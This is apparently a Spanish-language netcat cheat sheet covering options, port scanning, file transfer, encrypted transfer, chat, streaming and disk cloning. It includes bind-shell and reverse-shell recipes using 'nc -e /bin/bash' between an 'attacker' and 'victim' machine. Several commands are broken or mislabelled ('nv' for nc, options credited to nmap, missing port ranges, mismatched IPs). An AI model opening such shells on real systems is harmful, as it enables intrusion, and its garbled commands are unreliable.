Netcat
netcat o nc es una utilitario para transmision en redes de datos, especialmente todo lo que tenga que ver con TCP, UDP, o los sockets de UNIX.
Es capaz de establecer conexiones TCP, enviar paquetes UDP, estar a la escucha en puertos TCP y UDP arbitrarios, efectuar escaneo de puertos, y manejar IPv4 e IPv6
Opciones
Opciones | Descripcion |
---|---|
-4 |
Fuerza a usar solo IPv4 |
-6 |
Fuerza a usar solo IPv6 |
-l |
Escucha conexiones |
-v |
Salida verbosa |
-n |
Desactiva busqueda de DNS en direcciones IP y hostnames |
-p |
Especifica el puerto de origen |
-w |
Indica el valor de timeout |
-u |
Usa UDP en lugar de la TCP |
-k |
Fuerza seguir escuchando despues de desconectar |
-z |
Instruye a nmap a escanear demonios en escucha |
-h |
Muestra la ayuda de nmap |
-x |
Usa nmap con un proxy |
Uso
La sintaxis basica de netcat es:
nc opciones host puerto
Escanear puertos y atrapar bandera
Comando | Descripcion |
---|---|
nc -zvn 192.168.59.1 |
Escanea los puertos entre 1 y 100 . |
nc -zvn 192.168.59.1 |
Escanea puerto 80 , 22 y 443 . |
nc -zvn 192.168.59.1 80 |
Solo escanea puerto 80 |
nc -zvn textp-plano.com 80 |
Escanea puerto 80 en texto-plano.xyz |
nc texto-plano.xyz/~fulana/bandera |
Toma bandera |
Abrir un shell remoto
Podremos abrir una sesion de shell a mano. Para ello, suponiendo que
la IP del servidor es 192.168.58.3
,
En la maquina de servicio: |
---|
nc -nvlp 8888 -e /bin/bash |
En la maquina cliente: |
nc -nv 192.168.59.3 8888 |
Abrir un shell inverso
Maquina atacante |
---|
nc -nlvp 8888 |
Maquina victima |
nc 192.168.59.3 8888 -v -e /bin/bash |
Bajar archivos
Suponiendo que el emisor esta en 192.168.59.3
:
En el emisor |
---|
nc -lvp 8888 < datos.txt |
En el receptor |
nv -nv 192.168.59.3 8888 > data.txt |
Subir archivos
Suponiendo que el receptor esta en 192.158.59.3
:
En el receptor: |
---|
nv -lvp 8888 > datos.txt |
En el emisor: |
nv 192.168.59.3 8888 < datos.txt |
Comprimir y transferir
Para transferir directorios por la LAN, puede resultar muy util comprimirlos al enviarlo, y descomprimirlos al recibirlo.
Suponiendo que el emisor esta en 192.168.59.54
:
En el emisor: |
---|
tar cfp - /respaldos | compress -c | nc 192.168.59.54 8888 |
En el receptor: |
nc -l -p 8888 | uncompress -c | tar xvfp - |
Encriptar y transferir
Las transferencias de ficheros usando netcat por defecto no van encriptadas, y cualquiera en la LAN podria capturar los paqueets enviados, de manera que es muy util encirptarlos antes de enviarlos.
Suponiendo que la maquina que envia es 192.168.59.3
En la maquina emisora: |
---|
nc -l -p 8888 | openssl enc -d -des3 -pass pass:contrasena > secreto.txt |
En la maquina receptora: |
openssl enc -des3 -pass pass:contrasena | nc 192.168.59.3 8888 |
Aplicacion de chat
Podremos practicar lo mas sencillo que es generar una aplicacion de
chat sencilla, que permita usar un puerto (8888
) para
emitir paquetes de texto sin cifrado alguno. Suponiendo que el servidor
este en 192.168.59.3
En el servidor: |
---|
nv -lvp 8888 |
En el cliente: |
nv 192.168.59.3 8888 |
Video streaming
Podremos hacer videostreaming, por ejemplo de una pantalla:
En el servidor: |
---|
cat video.avi | nc -nvlp 8888 |
nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 - |
Clonar unidad de Linux
Esta es una manera util de clonar un sistema de archivos por la red
LAN. Asumiendo que la maquina que envia esta en
192.168.59.
En la maquina que envia: |
---|
dd if=/dev/sbd | nc -l -p 8888 |
En la maquina que recibe: |
nc -n 192.168.59.3 8888 | dd of=/dev/sdb |